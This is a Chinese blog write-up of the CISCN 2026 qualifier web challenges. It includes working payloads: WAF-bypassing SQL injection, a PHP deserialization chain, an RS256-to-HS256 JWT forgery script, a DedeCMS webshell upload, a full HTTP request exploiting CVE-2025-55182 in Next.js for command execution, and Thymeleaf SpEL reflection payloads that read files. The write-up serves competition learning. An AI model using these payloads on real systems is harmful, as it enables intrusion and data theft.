2026Ciscn初赛-Web
本文最后更新于25 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

2026Ciscn初赛-Web

AI_WAF

sql注入题,绕过空格

数据库:nexadata

-1' /*!50001union*/ /*!50001select*/ 1,/*!50001group_concat(database())*/,3 #

查表:article,where_is_my_flagggggg

-1' /*!50001union*/ /*!50001select*/ 1,/*!50001group_concat(table_name)*/,3 from information_schema.tables /*!50001where*/ table_schema='nexadata' #

image-20251228140233313

查列:Th15_ls_f149

-1' /*!50001union*/ /*!50001select*/ 1,/*!50001group_concat(column_name)*/,3 from information_schema.columns /*!50001where*/ table_name='where_is_my_flagggggg' #

image-20251228140518332

最后字段:flag{7d9e05db-6247-420c-b992-6828c49d3f55}

-1' /*!50001union*/ /*!50001select*/ 1,/*!50001Th15_ls_f149*/,3 from where_is_my_flagggggg #

image-20251228140721638

hellogate

访问进去是一张图片 view-source看源码

发现文件尾

<?php
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

入门的反序列化

exp:

<?php
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd = "/flag";
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$a = new A();
$b = new B();
$c = new C();
$b->worker = $c;
$a->handle = $b;
echo serialize($a);

image-20251228143924678

Deprecated

进去发现是个登录页面,注册用户登录进去发现有session

image-20251228182410335

看到两个点,符合jwt特征拿去网站看一下

image-20251228182604383
果然是,那应该是要伪造jwt了

aaa eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYSIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY5MTc0MTN9.SS6bgOL7r0LFZjTL0AcJDdHsGzq_sFnAKIrUA4s19yUg0xeE94XV83nXFvwxnvPLXFFDgqEkvB5aXiKfjdT_1TqyvlCbWxDSSLOlnrSeSFMcZ0p95gVzTnZ9JPysH4jqMhULrGFoj6Uk5hUdrPU_6OITunCWLHtwDHfKxUANMl4
bbb
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJiYiIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY5MTc2MzZ9.knFBzaiKXM8A5vldrEgUfeuxm5qjAleiFYZduo1eSlBm72eDP6HpoHPwaS5ORfMqq_MtBKTGZoKH6rQVLg15EQJ2JxhoCyE8WcA5x9s12yNtY40wnJjgX6vu-houYB1Pv769QbhKV2PQU9s31uWDWZKrXWwTsWiZnbNWyTomg4I

找到脚本:https://github.com/nu11secur1ty/rsa_sign2n/blob/main/jwt_forgery.py

要两个jwt才能爆破,在注册一个用户获取token

运行脚本生成2个pem公钥

image-20251228184606832

然后运行下列代码伪造admin用户

import hmac, hashlib, json, base64, time, sys, glob

def b64encode(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def forge_jwt(key_file, user="admin", priv="File-Priviledged-User"):
    with open(key_file, 'rb') as f:
        key = f.read()

    header = b64encode(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(',', ':')))
    payload = b64encode(
        json.dumps({"username": user, "priviledge": priv, "iat": int(time.time())}, separators=(',', ':')))
    message = f"{header}.{payload}"
    sig = b64encode(hmac.new(key, message.encode(), hashlib.sha256).digest())

    return f"{message}.{sig}"

if __name__ == "__main__":
    key_file = sys.argv[1] if len(sys.argv) > 1 else glob.glob("*_pkcs1.pem")[0]
    token = forge_jwt(key_file)
    print(token)

    with open(f"admin_jwt.txt", 'w') as f:
        f.write(token)

得到最终的token,两个pem,一个是RS256,一个是HS256的,要用HS256,可以都尝试一下

image-20251228185205380

利用伪造的jwt成功拿到admin权限

image-20251228190039461

利用伪造的jwt来目录穿越即可

image-20251228184514009

dedecms

如题,打开是一个dedecms

经过一些信息检索,发现网站后台是/dede

然后没有任何关于用户的信息,所以先创建一个用户test1

邮箱随便输一个,要符合邮箱格式。登录后到网站主页,点头像,然后看到右下角有三个用户

image-20251228181308446

点到admin的空间里

image-20251228181418960

没有看到什么有用的信息,还有个可疑用户Aa123456789,这个名字很奇怪,就试了一下这个用户名当作密码

到网站后台登陆

image-20251228181507025

居然登陆成功了

然后根据经验找到一个文件上传的利用点

image-20251228181535325

上传jpg,改文件后缀名,加上GIFA89a的图片前缀,上传成功后显示木马路径,直接访问

image-20251228181750369

执行命令,flag在根目录下

image-20251228181838187

redjs

打开发现是next.js框架

上网搜到CVE-2025-55182,拿poc直接打就出了

文章:https://cloud.tencent.com/developer/article/2607793

POST /apps HTTP/2
Host: eci-2zefero1zoo8z136z0pk.cloudeci1.ichunqiu.com:3000
Next-Action: x
X-Nextjs-Request-Id: 91dmljym
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: hst51Myl5trXfvWsC9Ay6
Content-Length: 694

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{"then":"$B1337"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /f*').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

image-20251228170353397

EzJava

进入后台要登陆

image-20251228172831717

给了用户名admin,但是密码不对

爆破一下密码得到是admin123,进入后台

点击预览可以发现

image-20251228173804034

Thymeleaf 模板 渲染,那考点应该是SpEL注入

有过滤正常表达式无法执行,要用反射,先读文件目录

[[${#this.getClass().getClassLoader().loadClass('java.nio.file.Files').getMethod('list',#this.getClass().getClassLoader().loadClass('java.nio.file.Path')).invoke(null,#this.getClass().getClassLoader().loadClass('java.nio.file.FileSystems').getMethod('getDefault').invoke(null).getPath('/')).collect(#this.getClass().getClassLoader().loadClass('java.util.stream.Collectors').getMethod('toList').invoke(null))}]]

image-20251228180507545

得到flag文件名/flag_y0u_d0nt_kn0w

然后读取即可

[[${#this.getClass().getClassLoader().loadClass('java.nio.file.Files').getMethod('readAllLines',#this.getClass().getClassLoader().loadClass('java.nio.file.Path')).invoke(null,#this.getClass().getClassLoader().loadClass('java.nio.file.FileSystems').getMethod('getDefault').invoke(null).getPath('/'+('f'+'lag_y0u_d0nt_kn0w'))).toString()}]]

image-20251228180744522

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇